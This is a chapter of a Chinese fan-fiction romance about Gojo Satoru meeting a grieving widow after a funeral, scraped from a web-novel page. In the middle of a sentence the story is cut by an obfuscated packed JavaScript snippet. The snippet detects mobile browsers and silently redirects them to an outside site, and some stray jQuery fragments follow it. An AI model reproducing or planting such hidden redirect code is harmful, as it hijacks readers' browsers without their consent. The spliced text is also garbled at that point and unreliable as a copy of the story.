默认冷灰
24号文字
方正启体

1. 第1章

作者:烤橙本书字数:K更新时间:
    “五条先生请自重。”影森雫掀起眼皮,冲面色冷淡的男人说出这句话。


    影森雫口中的“五条先生”比影森雫要高大壮硕的多,多到她的躯体甚至无法逃出他投射下来的影子。


    身形压制带来难以言喻的威慑力。


    不管她多么努力的试图将门扉关闭,都会被他那只骨节分明的手阻隔。


    五条悟原本平直的唇角突然就翘上去一点。


    并不是友善的弧度,但很漂亮——略扁的形状,却从来不会导致常人觉得五条悟凉薄。大家只会觉得他嘴巴弯起来的时候,唇膏折射出的光泽相当诱人。


    面对他的时候,影森雫的灵魂总是会变得很奇怪。


    就像现在,她很难解释,灵魂深处的那种焦渴感从何而来。


    承受着这种不断因为他而不断翻涌的燥热,影森雫难以遏制住羞愧,甚至于某种恼怒。


    但五条悟一无所知。


    “五条先生?”


    他耐人寻味的视线渐渐下滑,从她的面中,一直跌落到她的嘴巴。


    “不应该是‘悟’吗?”


    “我们曾经那样亲密。”


    目光,又降临在影森雫的手指,她那圈戒指上闪烁着光芒的钻石。


    五条悟缓缓地扩大了他的微笑:“是夫人无名指上的钻戒,驱使您对我扮演如此生疏、冷淡的态度吗?”


    影森雫:“…”


    影森雫:“……”


    影森雫:“………”


    这是影森雫第一次觉得,时光的阻隔如此不堪一击。


    当影森雫呼唤“悟”时,她的嘴巴会是何等的弧度与形状;


    当五条悟听到这道称呼后,脸上还坠着一点婴儿肥的他又是怎样循着声音望过来,冲着她露出盛大而漂亮的笑脸……


    影森雫全部都能回想起来。


    遥远的记忆像瀑布一样朝着她倾泻,浇的她眼皮不自觉震颤抖动。


    *


    被影森雫所熟知的,更加遥远的过去中,五条悟还不是这样危险的男人。


    影森雫七岁那年,仍然没有觉醒术式。


    这意味着她将缺少某种掌控自己人生的可能性。


    母亲看着她的眼神说不上是失望,只是充斥着悲观,眸子里总飘荡着一层水光。


    跟她相反。


    在这一年出生的五条悟,以一己之力打破了咒术界的某种平衡,背负起重振家族荣光的任务。


    糯米团子般的婴儿长时间阖着眼,连哭闹都算少数、窝在长辈的臂弯里,漂亮的不像话。


    没人会关注偶尔凝望着“糯米团子”出神的女孩。


    对长辈们来说,终其一生,她最多也不过是能成为一名优秀的佣仆领班,注定要庸碌无为,往后连五条悟的背影都难以窥探。


    偷看完的影森雫收回了目光。


    她挪动脚步,打算离去。


    五条悟那两团冬穹般的瞳孔却突如其来地撞过来。


    著名的“六眼”神圣到宛若天赐,是无法被替代的蓝。


    雪花、天空、银河、宇宙、世界的隐秘与真实、她的眼神……全部都塞进去那里。


    恍神间。


    两行清泪濡湿了她的腮颊。


    他“看到”她了。


    *


    “今晚大概会降雪。”伫立在门外的男人说,“如果夫人像以前那样畏惧寒冷的话,大可以叫我的名字。”


    这不是暧昧的邀请。


    影森雫能捕捉到他腔调里的咀嚼意味,像是恨不得将她以及那些曾经都被唇齿碾碎。


    落在她身上的目光很沉,很凉,似乎冬雪已经先一步降临。


    即便咒力稀薄,没有觉醒术式,影森雫也能感觉到丝丝缕缕的诅咒。


    那种情绪,正流连在她浸满倦怠的每一个五官,试图穿透着她的肌肤。


    影森雫知道这只是她的错觉。


    咒术师并不会产生“诅咒”。


    五条悟……当代最强咒术师,御三家之一的当代家主,教书育人的校区教师,人生早就被琐碎的任务和宏大的志向分割,并没有她可以介入的余地。


    而既然是无毒无害,自然就不能对五条悟造成影响。连他小时候拔倒刺时承受到的痛苦都比不上。


    影森雫拉开门,任由那条缝隙越来越大。


    五条悟于她的视野里渐渐展露出完整的肩膀。


    似乎理解为她在妥协,他勾着的唇角又往外扩大几分。


    影森雫读不懂五条悟。


    在她的记忆里,他总是会勾着她的发丝叹气。


    ——并没有因为她痛苦到长吁短叹的程度。只是轻促的,无能为力的一瞬间宣泄。


    影森雫茫然于五条悟因为她而感受到棘手的时刻。


    这种茫然,甚至持续到现在。


    他为什么要笑呢?难道她表现的还不够可恶吗?


    愚钝到这种程度,别说是五条悟了,连自身的厌恶都难以避免。影森雫认为她不能再继续思考下去了。


    她淡着脸,关门。


    五条悟的手不会很痛。无下限,365°无死角,任何恶意都可以被他拦截在外。


    仗着他脸色没变,她绝情地重复着这个动作,听着那几道令人头皮发麻的钝音。


    她不认为自己是在心疼。


    可他的手掌仍然搭在那里。


    没有办法关门。


    怎么办?


    迫不得已继续面对着他,影森雫察觉到眼眶正在发热,停了动作。


    他笑了一下。


    “您知道的……夫人。这诅咒横行的世道,很危险的。”


    镜片后的蓝眸转向影森雫身后的牌匾。


    他的视线,掠过黑白的遗像,掠过飘渺的香火,掠过供奉的瓜果。


    最终,才兜兜转转,回到影森雫分割了房间的腰肢,飘忽到她稍微凹陷的苍白脸颊。


    他说:“沾染到我的咒力残秽,性命安危才更有保障啊。”


    *


    影森雫不讨厌五条悟的笑容。


    年幼的时候,小悟会柔柔地冲着她勾唇,宝石状的眸子只倒映她一人。


    如果微风拂过发梢,白发会蹭到她的肌肤,留下几瞬瘙痒。


    而当她帮他系腰带,亦或是整理领口的时候,他就会安静地垂眸观看,不允许第二个人侍奉。


    再长大一点,身形拔高的少男开始带着她逃课、爬树、买西餐吃。


    他那倍感无趣的表情,会在目光触及她脸上的温柔以后,悄然融化。


    他会凑近她的耳朵,跟她吐槽他不喜欢吃某块面包,眼睛弯成狡黠的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224150|197543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    月牙。


    只是。


    五条悟现在绽放出来浅浅的弧度,和回忆里相差太大。


    “我知道的。”影森雫总算顿住动作,“只是收拾行李需要时间——”


    “——人都下葬了,席也吃过了,这么多天,夫人还没打理好这些?夫人该不会是在逃避现实吧?”她的声音被五条悟截断。


    影森雫不再说话。


    五条悟的发言虽然难听,显得不近人情,但一针见血,相当正确。


    她确实不想回去。


    她在逃避。


    影森雫缓慢地眨动起眸子,感受着眼眶仍在干涩酸痛着,大抵正红着。


    五条悟的视线在她眼周那片肌肤停留了相当之久,心肠好似也百转千回。


    半晌。


    他勉强扯了下唇角,说:“去吧。”


    她太黯然,合身利落的黑色西装也挡不住她骨肉里的颓丧。头上系着不太显眼的发圈,颜色倒是跟她现在的脸颊差不多,煞白,且那一圈细窄的白并不纯粹,隐约露着点内里的橡胶,感觉会猛地一下断裂。


    在前不久,来来往往的宾客里,她轻薄的身形单单是还没有摇摇欲坠,便已被衬托的足够坚强。


    他还能对处于这种状态里的女人说什么呢?


    “我在这里等你。”五条悟看了眼手机,敛下眸子里的情绪。


    他说:“要尽快。”


    *


    风来的急。玻璃窗凝上霜雪,卷来航班延误的消息。


    飞机场内等候厅的暖气足够,但影森雫四肢仍然僵硬着。


    裤子已经被她攥出来褶皱。


    冰凉自某刻开始,便攀附至她的脊背,挥之不去。


    她若是动了,关节恐怕要生涩疼痛。


    五条悟一直在打电话。


    手机散发着冷光的屏幕被他夹在耳边,态度格外敷衍。


    通话声并没有外放。


    即便是并肩而坐的距离,她也只能听见他轻飘飘又突兀沉下去的腔调。


    机场内的外语萦绕于影森雫耳畔。


    杂乱的音节里,属于五条悟的那一道却抢占了她的全部注意。


    她似乎让他为难了。


    五条悟本不应该出现在这里。


    影森雫松开五指,不再纠结那块可怜的布料,而是放任它们彼此交缠着,汲取着某种热度,置于腿上。


    镜片后的“六眼”斜过来,视线在她身体上绕了一圈,悄无声息。


    “喂,喂——手机没油了,待会再聊吧,如果到时候你还没有驾鹤西去的话。”他的语气又恢复了某种轻快。忽略掉似乎在话筒那头大吵大闹的糟老头子,五条悟挂断通话。


    五条悟站起身,融入人海。


    他的背影愈来愈远。


    影森雫的眼神逐渐失焦。


    即便置身于深邃立体的欧美人群里,五条悟也能够脱颖而出。


    白日宾客稀少。


    以黑为主色调的肃穆场合里,五条悟的身姿笔直着,脸上的表情也很冷清,一呼一吸间都弥漫着凛冬的淡漠,像是误入葬礼的路人,对其他人的眼神视而不见。


    唯有上前与她这位逝者家属所对话的时候,他递来手掌,勾勒出得偿所愿的轻浅弧度——


    “节哀啊,夫人。”他这么说。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)